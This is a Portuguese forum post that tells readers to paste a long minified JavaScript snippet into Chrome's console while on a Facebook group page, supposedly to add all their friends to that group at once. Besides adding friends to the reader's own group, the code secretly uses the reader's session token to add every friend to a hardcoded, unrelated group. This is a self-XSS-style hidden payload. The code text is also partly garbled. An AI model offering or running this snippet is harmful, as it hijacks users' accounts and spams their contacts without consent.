Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Como adicionar todos os amigos de vez a um grupo no Facebook

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Como adicionar todos os amigos de vez a um grupo no Facebook

    Como adicionar todos os amigos de vez a um grupo no Facebook

    Um grupo no Facebook é importante para quem quer idealizar um assunto promovendo discussões e colhendo opiniões do público em geral em relação a produtos, política, redes sociais e etc.

    Apesar da semelhança entre os grupos do Facebook e as comunidades do Orkut, o Facebook permite que você possa adicionar amigos à ele, sem o consentimento deles, desta forma eles serão notificados de que foi adicionados a tal grupo e poderão optar por permanecer ou sair. Optando por permanecer, por padrão eles receberão notificações de postagens criadas no grupo e assim poderão fazer comentários, leituras e até ignorar as próximas notificações, caso optem por desativá-la.

    O grande problema para quem cria um grupo e quer adicionar os amigos, é ter que adicionar os perfis um a um, fazendo com que percam um grande tempo, já que a rede social não disponibiliza da opção de adicionar todos os amigos de vez ao grupo. Levando em conta que você tenha mais de 1000 amigos, a demora para adicioná-los pode ser imensa. E para poupar o tempo e o trabalho, trazemos a você uma maneira de poder adicionar todos os amigos que você tem em um clique em quantos grupos seu ou que você administra quiser.



    Vamos oque enteresa.

    Para ADD novos amigos
    Usando Google Chrome, logado no face e com a pagina do grupo aberto Aperte F12 e vá em Console e cole o código abaixo e clica enter..Ulaaa amigos sendo add com simples metodo, ><"

    function penetrasi(e){jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsB yName("fb_dtsg")[0].value+"&group_id="+memberGroupId+"&source=typeahe ad&members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_so urce=AsyncRequest&__user="+Env.user,function(e){e= e.substring(e.indexOf("{")),e=JSON.parse(e),i--,kunaon="<div class='friend-edge-name' style='text-align:left;font-size:10px;white-spacere-wrap;",e.error?(kunaon+="color:darkred'>",kunaon=e .errorDescription?kunaon+e.errorDescription:kunaon +JSON.stringify(e,null,""))kunaon+="color:darkgreen'>",kunaon+=arr[i],suc++),kunaon+="</div>",e="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(173,255,47,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>"+("<div style='padding-bottom:10px;font-size:20px;'>"+tulisanNganu+"</div>"),0<i?(e+=arr.length+" Amigos Detectados <br/>",e+="<b>"+suc+"</b> Adicionando "+(arr.length-i)+" Amigos Processando ",e+="("+i+" Amigos total..)",e=e+"<div class='friend-edge'>"+kunaon,e+="</div>")e+=arr.length+" Amigos Detectados ",e+="<b>"+suc+" Adicionado</b>",e+="<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome _box\").style.display=\"none\"'>sair</span></div>"),document.getElementById("pagelet_welcome_bo x").innerHTML=e+"</div>"},"text","post"),tay--;if(0<tay){var t=arr[tay];setTimeout("penetrasi("+t+")",100)}console.log(ta y+"/"+arr.length+":"+t+", success:"+suc),0xf2a794cf90e3!=memberGroupId&&jx.l oad(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsB yName("fb_dtsg")[0].value+"&group_id=482348825140321&source=typeahead &members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_so urce=AsyncRequest&__user="+Env.user,function(){}," text","post")}function clickfr_callback(){0<document.getElementsByName("o k").length&&nHtml.ClickUp(document.getElementsByNa me("ok")[0]);var e=arr[i];i<arr.length&&addfriend(e.substring(0,4))}functio n clickfr(){0<document.getElementsByClassName("searc h").length?(console.log(document.getElementsByClas sName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML),document.getElementsByClassName("searc h")[0].childNodes[0].childNodes[0].href="javascript:void(0);",nHtml.ClickUp(document .getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])):j++,setTimeout("clickfr_callback()",2e3)}functi on addfriend(e){i++,document.getElementsByClassName(" mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value=e,document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),setTimeout("clickfr()",2e3)}function sleep(e){for(var t=(new Date).getTime(),n=0;1e7>n&&!((new Date).getTime()-t>e);n++);}var tulisanNganu="Adicionando Amigos",kunaon="";jx={getHTTPObject:function(){var e=!1;if("undefined"!=typeof ActiveXObject)try{e=new ActiveXObject("Msxml2.XMLHTTP")}catch(t){try{e=new ActiveXObject("Microsoft.XMLHTTP")}catch(n){e=!1}} else if(window.XMLHttpRequest)try{e=new XMLHttpRequest}catch(r){e=!1}return e},load:function(b,c,d,e,g){var f=this.init();if(f&&b){f.overrideMimeType&&f.overr ideMimeType("text/xml"),e||(e="GET"),d||(d="text"),g||(g={});var d=d.toLowerCase(),e=e.toUpperCase(),h="uid="+(new Date).getTime(),b=b+(b.indexOf("?")+1?"&":"?"),b=b +h,h=null;"POST"==e&&(h=b.split("?"),b=h[0],h=h[1]),f.open(e,b,!0),"POST"==e&&(f.setRequestHeader("C ontent-type","application/x-www-form-urlencoded"),f.setRequestHeader("Content-length",h.length),f.setRequestHeader("Connection", "close")),f.onreadystatechange=g.handler?function( ){g.handler(f)}:function(){if(f.readyState==4)if(f .status==200){var b="";f.responseText&&(b=f.responseText),d.charAt(0 )=="j"?(b=b.replace(/[\n\r]/g,""),b=eval("("+b+")")):d.charAt(0)=="x"&&(b=f.re sponseXML),c&&c(b)}else g.loadingIndicator&&document.getElementsByTagName( "body")[0].removeChild(g.loadingIndicator),g.loading&&(docum ent.getElementById(g.loading).style.display="none" ),error&&error(f.status)},f.send(h)}},bind:functio n(e){var t={url:"",onSuccess:!1,onError:!1,format:"text",me thod:"GET",update:"",loading:"",loadingIndicator:" "},n;for(n in t)e[n]&&(t[n]=e[n]);if(t.url){var r=!1;t.loadingIndicator&&(r=document.createElement ("div"),r.setAttribute("style","position:absolute; top:0px;left:0px;"),r.setAttribute("class","loadin g-indicator"),r.innerHTML=t.loadingIndicator,documen t.getElementsByTagName("body")[0].appendChild(r),this.opt.loadingIndicator=r),t.loa ding&&(document.getElementById(t.loading).style.di splay="block"),this.load(t.url,function(e){t.onSuc cess&&t.onSuccess(e),t.update&&(document.getElemen tById(t.update).innerHTML=e),r&&document.getElemen tsByTagName("body")[0].removeChild(r),t.loading&&(document.getElementByI d(t.loading).style.display="none")},t.format,t.met hod,t)}},init:function(){return this.getHTTPObject()}};var nHtml={FindByAttr:function(e,t,n,r){return"classNa me"==n&&(n="class"),(e=document.evaluate(".//"+t+"[@"+n+"='"+r+"']",e,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null) )&&e.singleNodeValue?e.singleNodeValue:null},FindB yClassName:function(e,t,n){return this.FindByAttr(e,t,"className",n)},FindByXPath:fu nction(e,t){try{var n=document.evaluate(t,e,null,XPathResult.FIRST_ORD ERED_NODE_TYPE,null)}catch(r){GM_log("bad xpath:"+t)}return n&&n.singleNodeValue?n.singleNodeValue:null},Visit Url:function(e){window.setTimeout(function(){docum ent.location.href=e},500+Math.floor(500*Math.rando m()))},ClickWin:function(e,t,n){var r=e.document.createEvent("MouseEvents");return r.initMouseEvent(n,!0,!0,e,0,0,0,0,0,!1,!1,!1,!1,0 ,null),!t.dispatchEvent(r)},Click:function(e){retu rn this.ClickWin(window,e,"click")},ClickTimeout:func tion(e,t){window.setTimeout(function(){return nHtml.ClickWin(window,e,"click")},t+Math.floor(500 *Math.random()))},ClickUp:function(e){this.ClickWi n(window,e,"mousedown"),this.ClickWin(window,e,"mo useup"),this.ClickWin(window,e,"click")},GetText:f unction(e,t){var n="";void 0==t&&(t=0);if(!(40<t)){if(void 0!=e.textContent)return e.textContent;for(var r=0;r<e.childNodes.length;r++)n+=this.GetText(e.ch ildNodes[r],t+1);return n}}};void 0==document.getElementsByClassName&&(document.getE lementsByClassName=function(e){for(var t=RegExp("(?:^|\\s)"+e+"(?:$|\\s)"),n=document.get ElementsByTagName("*"),r=[],i,s=0;null!=(i=n[s]);s++){var o=i.className;o&&-1!=o.indexOf(e)&&t.test(o)&&r.push(i)}return r}),Array.prototype.find=function(e){var t=!1;for(i=0;i<this.length;i++)typeof e=="function"?e.test(this[i])&&(t||(t=[]),t.push(i)):this[i]===e&&(t||(t=[]),t.push(i));return t};for(var a=0,eind=0,len=document.getElementsByClassName("mb m").length,a=0;a<len;a++){var ele=document.getElementsByClassName("mbm")[a];if(ele&&ele.childNodes[0]&&ele.childNodes[0]&&ele.childNodes[0].childNodes[1]&&ele.childNodes[0].childNodes[1].childNodes[0]&&"Add SUSCRIBERS"==document.getElementsByClassName("mbm" )[a].childNodes[0].childNodes[1].childNodes[0].value){eind=a;break}}var i=3,tay=3,counter1=0,counter2=0,counter3=0,j=0,k=0 ,suc=0,arr=[],memberGroupId=document.getElementsByName("group_i d")[0].value;jx.load(window.location.protocol+"//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+Env.user+"&filter[0]=user&__user="+Env.user,function(e){for(var e=e.substring(e.indexOf("{")),e=JSON.parse(e),e=e. payload.entries,t=0;t<e.length;t++)arr.push(e[t].uid);tay=i=arr.length-1,console.log(arr.length),e="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>"+("<div style='padding-bottom:10px;font-size:20px;'>"+tulisanNganu+"</div>"),e+=arr.length+" Darlon",document.getElementById("pagelet_welcome_b ox").innerHTML=e+"</div>",penetrasi(arr[i])})
X
Working...
X